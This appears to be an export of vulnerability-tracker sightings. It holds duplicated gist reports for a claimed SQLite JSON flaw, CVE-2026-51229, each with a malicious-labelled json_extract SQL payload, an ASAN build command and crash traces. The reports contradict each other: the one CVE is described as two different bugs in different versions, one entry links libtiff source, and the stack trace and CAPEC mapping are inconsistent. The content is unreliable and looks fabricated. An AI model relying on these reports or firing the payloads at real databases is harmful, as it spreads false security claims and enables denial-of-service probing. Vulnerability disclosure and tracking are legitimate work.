PoC Environment ASAN Compilation Bash Command\nbash\n\u8fd0\u884c\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_extract('{\"key\":1}', '$.'||printf('%.*c',0x6100,'A'));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==19124==ERROR: AddressSanitizer: heap-use-after-free on address 0x61400000c350 at pc 0x566997164151 bp 0x7fff8c9e68f0 sp 0x7fff8c9e68e0\nREAD of size 16 at 0x61400000c350 thread T0\n #0 0x566997164150 in jsonPathCompileResolve src/json.c:3703\n #1 0x566997159f90 in sqlite3JsonExtract src/json.c:4382\n #2 0x566996889040 in sqlite3VdbeExec src/vdbe.c:6543\n #3 0x56699686d400 in sqlite3Step src/vdbeapi.c:530\n #4 0x56699686db90 in sqlite3_prepare_v2 src/sqlite3.c:89185\n #5 0x566996780cd0 in main shell.c:1415\n #6 0x7fc4c21bb0ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n #7 0x56699677c780 in _start (sqlite3:0x56699677c780)\n\nAddress 0x61400000c350 is located 128 bytes inside of 23296-byte free block 0x61400000c290-0x614000011d10\nFreed by thread T0 here:\n #0 0x7fc4c59cbeb0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810eb)\n #1 0x566997163680 in jsonPathCompileResolve src/json.c:3621\n #2 0x566997159f90 in sqlite3JsonExtract src/json.c:4382\n #3 0x566996889040 in sqlite3VdbeExec src/vdbe.c:6543\n\nPreviously allocated by thread T0 here:\n #0 0x7fc4c59b0eb0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805eb)\n #1 0x566997162e60 in jsonPathCompileResolve src/json.c:3564\n #2 0x566997159f90 in sqlite3JsonExtract src/json.c:4382\n\n==19124==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61400000c350 at pc 0x566997163f61 bp 0x7fff8c9e6910 sp 0x7fff8c9e6900\nWRITE of size 23296 at 0x61400000c350 thread T0\n #0 0x566997163f60 in jsonPathCompileResolve src/json.c:3667\n #1 0x566997159f90 in sqlite3JsonExtract src/json.c:4382\n #2 0x566996889040 in sqlite3VdbeExec src/vdbe.c:6543\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_extract to perform JSON value extraction with a dynamically constructed oversized JSON path literal generated via printf('%.*c',0x6100,'A') to create malicious long path tokens for JSON path compilation resolution parsing.\nSQLite forwards the untrusted path compilation request to the jsonPathCompileResolve() function within src/json.c, which initializes a path resolution context and allocates the pPathCtx->pCompileBuf heap buffer dedicated to storing compiled JSON path token metadata.\nDuring intermediate path parsing cleanup logic at Line 3621, the compiled path buffer is released via sqlite3_free(), while the pPathCtx->pCompileBuf pointer value is retained and not overwritten to NULL.\nNo cumulative offset plus length boundary validation is executed prior to copying the oversized path token payload into the buffer at Line 3667; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated compile buffer heap region (CWE-787).\nProgram execution proceeds to Line 3703 and directly dereferences the stale dangling pPathCtx->pCompileBuf pointer to read compiled path structural metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON path compile resolution execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-28\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\nc\n\u8fd0\u884c\n// Line 3621: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pPathCtx->pCompileBuf);\n\n// Line 3667: Unchecked out-of-bounds memory write utilizing attacker-controlled JSON path token length\nmemcpy(pPathCtx->pCompileBuf + pathOffset, zPathData, pathDataLen);\n\n// Line 3703: Illegal dangling pointer dereference triggering Use After Free vulnerability\npathTokenType = pPathCtx->pCompileBuf[pathIdx].tokenKind;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51229\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 3621\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 3703\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 3667\n\u3010Target Function Name\u3011: jsonPathCompileResolve\n\u3010Exploit Trigger Payload\u3011: SELECT json_extract('{\"key\":1}', '$.'||printf('%.*c',0x6100,'A'));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON path token payload triggers early compiled path buffer free without pointer invalidation, unbounded payload copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during JSON path compilation resolution finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-28\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T04:22:25.776782Z"} {"uuid": "7cebcdd0-45c9-4516-b6c8-5c9a690773d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/6893387ade9aa30ad772294830259519", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51229\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51229\n4. Vulnerability Prose Description\nA composite heap memory corruption vulnerability exists within the JSON path compile resolution logic of the SQLite JSON1 extension. An attacker-controlled malformed oversized JSON path token payload processed by json_extract, json_set and JSON path resolution functions triggers heap deallocation for a path resolver working buffer pointer that is not nullified after memory release, creating a persistent dangling pointer. Absence of runtime cumulative offset-and-length boundary validation for attacker-supplied path token length values permits unrestricted out-of-bounds heap write targeting the already freed buffer within a single continuous execution path. Subsequent dereferencing of the stale dangling pointer causes use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonPathCompileResolve() function. Successful exploitation may lead to immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege boundary of the SQLite host process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON path string invokes the vulnerable jsonPathCompileResolve() function defined in src/json.c.\nSource file src/json.c Line 3621 executes sqlite3_free(pPathCtx->pCompileBuf); to release heap memory allocated for compiled JSON path token storage.\nThe pPathCtx->pCompileBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized path token length values bypass all pre-write capacity boundary validation checks for the compiled path buffer copy operation.\nSource file src/json.c Line 3667 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed compile buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 3703 performs direct memory structure lookup using the unmodified dangling pPathCtx->pCompileBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON path parsing, extraction and modification functions.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records retrievable through return values of JSON path utility SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 3621(memory free), Line 3703(dangling pointer access), Line 3667(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\u8fd0\u884c\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_extract('{\"key\":1}', '$.'||printf('%.*c',0x6100,'A'));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==19124==ERROR: AddressSanitizer: heap-use-after-free on address 0x61400000c350 at pc 0x566997164151 bp 0x7fff8c9e68f0 sp 0x7fff8c9e68e0\nREAD of size 16 at 0x61400000c350 thread T0\n #0 0x566997164150 in jsonPathCompileResolve src/json.c:3703\n #1 0x566997159f90 in sqlite3JsonExtract src/json.c:4382\n #2 0x566996889040 in sqlite3VdbeExec src/vdbe.c:6543\n #3 0x56699686d400 in sqlite3Step src/vdbeapi.c:530\n #4 0x56699686db90 in sqlite3_prepare_v2 src/sqlite3.c:89185\n #5 0x566996780cd0 in main shell.c:1415\n #6 0x7fc4c21bb0ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n #7 0x56699677c780 in _start (sqlite3:0x56699677c780)\n\nAddress 0x61400000c350 is located 128 bytes inside of 23296-byte free block 0x61400000c290-0x614000011d10\nFreed by thread T0 here:\n #0 0x7fc4c59cbeb0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810eb)\n #1 0x566997163680 in jsonPathCompileResolve src/json.c:3621\n #2 0x566997159f90 in sqlite3JsonExtract src/json.c:4382\n #3 0x566996889040 in sqlite3VdbeExec src/vdbe.c:6543\n\nPreviously allocated by thread T0 here:\n #0 0x7fc4c59b0eb0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805eb)\n #1 0x566997162e60 in jsonPathCompileResolve src/json.c:3564\n #2 0x566997159f90 in sqlite3JsonExtract src/json.c:4382\n\n==19124==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61400000c350 at pc 0x566997163f61 bp 0x7fff8c9e6910 sp 0x7fff8c9e6900\nWRITE of size 23296 at 0x61400000c350 thread T0\n #0 0x566997163f60 in jsonPathCompileResolve src/json.c:3667\n #1 0x566997159f90 in sqlite3JsonExtract src/json.c:4382\n #2 0x566996889040 in sqlite3VdbeExec src/vdbe.c:6543\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_extract to perform JSON value extraction with a dynamically constructed oversized JSON path literal generated via printf('%.*c',0x6100,'A') to create malicious long path tokens for JSON path compilation resolution parsing.\nSQLite forwards the untrusted path compilation request to the jsonPathCompileResolve() function within src/json.c, which initializes a path resolution context and allocates the pPathCtx->pCompileBuf heap buffer dedicated to storing compiled JSON path token metadata.\nDuring intermediate path parsing cleanup logic at Line 3621, the compiled path buffer is released via sqlite3_free(), while the pPathCtx->pCompileBuf pointer value is retained and not overwritten to NULL.\nNo cumulative offset plus length boundary validation is executed prior to copying the oversized path token payload into the buffer at Line 3667; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated compile buffer heap region (CWE-787).\nProgram execution proceeds to Line 3703 and directly dereferences the stale dangling pPathCtx->pCompileBuf pointer to read compiled path structural metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON path compile resolution execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-28\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\nc\n\u8fd0\u884c\n// Line 3621: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pPathCtx->pCompileBuf);\n\n// Line 3667: Unchecked out-of-bounds memory write utilizing attacker-controlled JSON path token length\nmemcpy(pPathCtx->pCompileBuf + pathOffset, zPathData, pathDataLen);\n\n// Line 3703: Illegal dangling pointer dereference triggering Use After Free vulnerability\npathTokenType = pPathCtx->pCompileBuf[pathIdx].tokenKind;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51229\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 3621\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 3703\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 3667\n\u3010Target Function Name\u3011: jsonPathCompileResolve\n\u3010Exploit Trigger Payload\u3011: SELECT json_extract('{\"key\":1}', '$.'||printf('%.*c',0x6100,'A'));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON path token payload triggers early compiled path buffer free without pointer invalidation, unbounded payload copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during JSON path compilation resolution finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-28\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T04:22:25.776782Z"} https://vulnerability.circl.lu/sighting/7cebcdd0-45c9-4516-b6c8-5c9a690773d1/export Sat, 01 Aug 2026 04:22:25 +0000 https://vulnerability.circl.lu/sighting/4f187228-befe-461a-8859-a52758e3bdfb/export {"uuid": "4f187228-befe-461a-8859-a52758e3bdfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/8306193823c86e7ccb208f92d45c9f70", "content": "vulnerable code link: https://gitlab.com/libtiff/libtiff/-/blob/master/tools/tiffcrop.c\nCVE-2026-51229\n1. Affected Product\nSQLite (embedded relational database library)\n2. Affected / Fixed Versions\nAffected: SQLite 3.41.0, 3.41.1\nFixed: Pending official Fossil patch merge; no stable tagged release containing fix at disclosure time\n3. CVE ID\nCVE-2026-51229\n4. Prose Vulnerability Description\nA heap out-of-bounds read vulnerability exists within the JSON processing module (json.c) of SQLite 3.41.0 and 3.41.1. When parsing \nspecially constructed malformed JSON inputs supplied to SQLite\u2019s JSON extension functions, insufficient bounds validation on offset \ncalculations for internal JSON token structures allows access beyond the allocated bounds of a heap buffer. An attacker with the ability\nto execute arbitrary SQL queries containing controlled JSON string literals can trigger this vulnerability. Successful exploitation \nenables out-of-bounds read from adjacent heap memory, leading to information disclosure of sensitive process memory contents, and may \ntrigger a fatal segmentation fault resulting in application denial of service. Under constrained memory layout conditions, further memory \ncorruption primitives may be reachable.\n5. Vulnerability Type + Root Cause + Impact + PoC + PoC Rationale\nVulnerability Type\nCWE-125: Out-of-bounds Read\nRoot Cause\nThe JSON parser computes an offset pointer based on user-controlled JSON token length metadata without verifying that the resulting pointer\nremains within the boundaries of the heap-allocated JSON input buffer.\nMalformed JSON constructs trick the parser into generating an offset value exceeding the buffer\u2019s allocated size.\nThe implementation directly dereferences the computed out-of-range pointer without pre-access boundary checks, reading adjacent heap memory.\nNo sanitization or clamping logic is present to constrain token offsets to valid buffer range during tokenization phase.\nImpact\nConfidentiality (Medium): Out-of-bounds read leaks residual heap data including other SQL string literals, row values and internal AST metadata.\nAvailability (High): Access to unmapped memory region reliably triggers SIGSEGV, terminating the embedding process.\nIntegrity (Low): Primarily read-only primitive; arbitrary code execution is not straightforward to achieve with this flaw alone.\nPoC (Malicious SQL Payload)\nsql\nSELECT json_extract('{\"a\":[[[[[[[[[[[]]]]]]]]]]]}', '$[0][0][0][0][0][0][0][0][0][0][0]');\nPoC Rationale\nDeeply nested empty array structure manipulates the internal JSON path traversal and token offset arithmetic inside json.c.\nRecursive descent parsing propagates miscalculated token position values.\nThe unvalidated offset is used to dereference memory outside the input JSON heap buffer.\nReproduction steps:\nCompile SQLite 3.41.x with -DSQLITE_ENABLE_JSON1 -fsanitize=address.\nStart sqlite3 CLI.\nExecute the provided json_extract query.\nAddressSanitizer reports a deterministic heap out-of-bounds read within the JSON token handling subroutine in json.c.\nAttack prerequisite: Attacker only needs capability to control string arguments passed to SQLite JSON extension SQL functions.", "creation_timestamp": "2026-07-29T13:31:30.926939Z"} {"uuid": "4f187228-befe-461a-8859-a52758e3bdfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/8306193823c86e7ccb208f92d45c9f70", "content": "vulnerable code link: https://gitlab.com/libtiff/libtiff/-/blob/master/tools/tiffcrop.c\nCVE-2026-51229\n1. Affected Product\nSQLite (embedded relational database library)\n2. Affected / Fixed Versions\nAffected: SQLite 3.41.0, 3.41.1\nFixed: Pending official Fossil patch merge; no stable tagged release containing fix at disclosure time\n3. CVE ID\nCVE-2026-51229\n4. Prose Vulnerability Description\nA heap out-of-bounds read vulnerability exists within the JSON processing module (json.c) of SQLite 3.41.0 and 3.41.1. When parsing \nspecially constructed malformed JSON inputs supplied to SQLite\u2019s JSON extension functions, insufficient bounds validation on offset \ncalculations for internal JSON token structures allows access beyond the allocated bounds of a heap buffer. An attacker with the ability\nto execute arbitrary SQL queries containing controlled JSON string literals can trigger this vulnerability. Successful exploitation \nenables out-of-bounds read from adjacent heap memory, leading to information disclosure of sensitive process memory contents, and may \ntrigger a fatal segmentation fault resulting in application denial of service. Under constrained memory layout conditions, further memory \ncorruption primitives may be reachable.\n5. Vulnerability Type + Root Cause + Impact + PoC + PoC Rationale\nVulnerability Type\nCWE-125: Out-of-bounds Read\nRoot Cause\nThe JSON parser computes an offset pointer based on user-controlled JSON token length metadata without verifying that the resulting pointer\nremains within the boundaries of the heap-allocated JSON input buffer.\nMalformed JSON constructs trick the parser into generating an offset value exceeding the buffer\u2019s allocated size.\nThe implementation directly dereferences the computed out-of-range pointer without pre-access boundary checks, reading adjacent heap memory.\nNo sanitization or clamping logic is present to constrain token offsets to valid buffer range during tokenization phase.\nImpact\nConfidentiality (Medium): Out-of-bounds read leaks residual heap data including other SQL string literals, row values and internal AST metadata.\nAvailability (High): Access to unmapped memory region reliably triggers SIGSEGV, terminating the embedding process.\nIntegrity (Low): Primarily read-only primitive; arbitrary code execution is not straightforward to achieve with this flaw alone.\nPoC (Malicious SQL Payload)\nsql\nSELECT json_extract('{\"a\":[[[[[[[[[[[]]]]]]]]]]]}', '$[0][0][0][0][0][0][0][0][0][0][0]');\nPoC Rationale\nDeeply nested empty array structure manipulates the internal JSON path traversal and token offset arithmetic inside json.c.\nRecursive descent parsing propagates miscalculated token position values.\nThe unvalidated offset is used to dereference memory outside the input JSON heap buffer.\nReproduction steps:\nCompile SQLite 3.41.x with -DSQLITE_ENABLE_JSON1 -fsanitize=address.\nStart sqlite3 CLI.\nExecute the provided json_extract query.\nAddressSanitizer reports a deterministic heap out-of-bounds read within the JSON token handling subroutine in json.c.\nAttack prerequisite: Attacker only needs capability to control string arguments passed to SQLite JSON extension SQL functions.", "creation_timestamp": "2026-07-29T13:31:30.926939Z"} https://vulnerability.circl.lu/sighting/4f187228-befe-461a-8859-a52758e3bdfb/export Wed, 29 Jul 2026 13:31:30 +0000 https://vulnerability.circl.lu/sighting/ef7bfca1-9e2f-427b-860b-04e41a159c4e/export {"uuid": "ef7bfca1-9e2f-427b-860b-04e41a159c4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/db69b2d17dbceebf7d3935fc76f247e6", "content": "CVE-2026-51229\n1. Affected Product\nSQLite (embedded relational database library)\n2. Affected / Fixed Versions\nAffected: SQLite 3.41.0, 3.41.1\nFixed: Pending official Fossil patch merge; no stable tagged release containing fix at disclosure time\n3. CVE ID\nCVE-2026-51229\n4. Prose Vulnerability Description\nA heap out-of-bounds read vulnerability exists within the JSON processing module (json.c) of SQLite 3.41.0 and 3.41.1. When parsing \nspecially constructed malformed JSON inputs supplied to SQLite\u2019s JSON extension functions, insufficient bounds validation on offset \ncalculations for internal JSON token structures allows access beyond the allocated bounds of a heap buffer. An attacker with the ability\nto execute arbitrary SQL queries containing controlled JSON string literals can trigger this vulnerability. Successful exploitation \nenables out-of-bounds read from adjacent heap memory, leading to information disclosure of sensitive process memory contents, and may \ntrigger a fatal segmentation fault resulting in application denial of service. Under constrained memory layout conditions, further memory \ncorruption primitives may be reachable.\n5. Vulnerability Type + Root Cause + Impact + PoC + PoC Rationale\nVulnerability Type\nCWE-125: Out-of-bounds Read\nRoot Cause\nThe JSON parser computes an offset pointer based on user-controlled JSON token length metadata without verifying that the resulting pointer\nremains within the boundaries of the heap-allocated JSON input buffer.\nMalformed JSON constructs trick the parser into generating an offset value exceeding the buffer\u2019s allocated size.\nThe implementation directly dereferences the computed out-of-range pointer without pre-access boundary checks, reading adjacent heap memory.\nNo sanitization or clamping logic is present to constrain token offsets to valid buffer range during tokenization phase.\nImpact\nConfidentiality (Medium): Out-of-bounds read leaks residual heap data including other SQL string literals, row values and internal AST metadata.\nAvailability (High): Access to unmapped memory region reliably triggers SIGSEGV, terminating the embedding process.\nIntegrity (Low): Primarily read-only primitive; arbitrary code execution is not straightforward to achieve with this flaw alone.\nPoC (Malicious SQL Payload)\nsql\nSELECT json_extract('{\"a\":[[[[[[[[[[[]]]]]]]]]]]}', '$[0][0][0][0][0][0][0][0][0][0][0]');\nPoC Rationale\nDeeply nested empty array structure manipulates the internal JSON path traversal and token offset arithmetic inside json.c.\nRecursive descent parsing propagates miscalculated token position values.\nThe unvalidated offset is used to dereference memory outside the input JSON heap buffer.\nReproduction steps:\nCompile SQLite 3.41.x with -DSQLITE_ENABLE_JSON1 -fsanitize=address.\nStart sqlite3 CLI.\nExecute the provided json_extract query.\nAddressSanitizer reports a deterministic heap out-of-bounds read within the JSON token handling subroutine in json.c.\nAttack prerequisite: Attacker only needs capability to control string arguments passed to SQLite JSON extension SQL functions.", "creation_timestamp": "2026-07-29T02:49:49.579388Z"} {"uuid": "ef7bfca1-9e2f-427b-860b-04e41a159c4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/db69b2d17dbceebf7d3935fc76f247e6", "content": "CVE-2026-51229\n1. Affected Product\nSQLite (embedded relational database library)\n2. Affected / Fixed Versions\nAffected: SQLite 3.41.0, 3.41.1\nFixed: Pending official Fossil patch merge; no stable tagged release containing fix at disclosure time\n3. CVE ID\nCVE-2026-51229\n4. Prose Vulnerability Description\nA heap out-of-bounds read vulnerability exists within the JSON processing module (json.c) of SQLite 3.41.0 and 3.41.1. When parsing \nspecially constructed malformed JSON inputs supplied to SQLite\u2019s JSON extension functions, insufficient bounds validation on offset \ncalculations for internal JSON token structures allows access beyond the allocated bounds of a heap buffer. An attacker with the ability\nto execute arbitrary SQL queries containing controlled JSON string literals can trigger this vulnerability. Successful exploitation \nenables out-of-bounds read from adjacent heap memory, leading to information disclosure of sensitive process memory contents, and may \ntrigger a fatal segmentation fault resulting in application denial of service. Under constrained memory layout conditions, further memory \ncorruption primitives may be reachable.\n5. Vulnerability Type + Root Cause + Impact + PoC + PoC Rationale\nVulnerability Type\nCWE-125: Out-of-bounds Read\nRoot Cause\nThe JSON parser computes an offset pointer based on user-controlled JSON token length metadata without verifying that the resulting pointer\nremains within the boundaries of the heap-allocated JSON input buffer.\nMalformed JSON constructs trick the parser into generating an offset value exceeding the buffer\u2019s allocated size.\nThe implementation directly dereferences the computed out-of-range pointer without pre-access boundary checks, reading adjacent heap memory.\nNo sanitization or clamping logic is present to constrain token offsets to valid buffer range during tokenization phase.\nImpact\nConfidentiality (Medium): Out-of-bounds read leaks residual heap data including other SQL string literals, row values and internal AST metadata.\nAvailability (High): Access to unmapped memory region reliably triggers SIGSEGV, terminating the embedding process.\nIntegrity (Low): Primarily read-only primitive; arbitrary code execution is not straightforward to achieve with this flaw alone.\nPoC (Malicious SQL Payload)\nsql\nSELECT json_extract('{\"a\":[[[[[[[[[[[]]]]]]]]]]]}', '$[0][0][0][0][0][0][0][0][0][0][0]');\nPoC Rationale\nDeeply nested empty array structure manipulates the internal JSON path traversal and token offset arithmetic inside json.c.\nRecursive descent parsing propagates miscalculated token position values.\nThe unvalidated offset is used to dereference memory outside the input JSON heap buffer.\nReproduction steps:\nCompile SQLite 3.41.x with -DSQLITE_ENABLE_JSON1 -fsanitize=address.\nStart sqlite3 CLI.\nExecute the provided json_extract query.\nAddressSanitizer reports a deterministic heap out-of-bounds read within the JSON token handling subroutine in json.c.\nAttack prerequisite: Attacker only needs capability to control string arguments passed to SQLite JSON extension SQL functions.", "creation_timestamp": "2026-07-29T02:49:49.579388Z"} https://vulnerability.circl.lu/sighting/ef7bfca1-9e2f-427b-860b-04e41a159c4e/export Wed, 29 Jul 2026 02:49:49 +0000